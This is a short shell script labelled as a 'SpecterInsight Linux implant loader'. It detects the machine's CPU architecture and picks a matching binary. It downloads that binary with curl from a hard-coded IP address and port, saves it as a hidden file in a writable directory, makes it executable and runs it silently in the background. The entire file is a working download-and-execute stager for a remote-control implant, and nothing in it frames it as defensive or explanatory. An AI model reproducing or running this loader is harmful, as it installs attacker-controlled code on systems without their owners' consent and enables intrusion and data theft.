#!/bin/sh
# SpecterInsight Linux implant loader (auto-arch)
URL="http://207.57.122.131:8085"
A=$(uname -m)
case "$A" in
  x86_64|amd64) B="sx_linux" ;;
  aarch64|arm64) B="sx_linux_arm64" ;;
  armv7l|armv7|armv6l) B="sx_linux_armv7" ;;
  *) B="sx_linux" ;;
esac
for D in /tmp /var/tmp "$HOME" .; do
  [ -w "$D" ] || continue
  F="$D/.sx_$$"
  if curl -fsSL "$URL/$B" -o "$F" 2>/dev/null && [ -s "$F" ]; then
    chmod +x "$F" 2>/dev/null
    "$F" >/dev/null 2>&1 &
    exit 0
  fi
  rm -f "$F" 2>/dev/null
done
echo "[!] start failed (no writable dir or download error)" >&2
exit 1
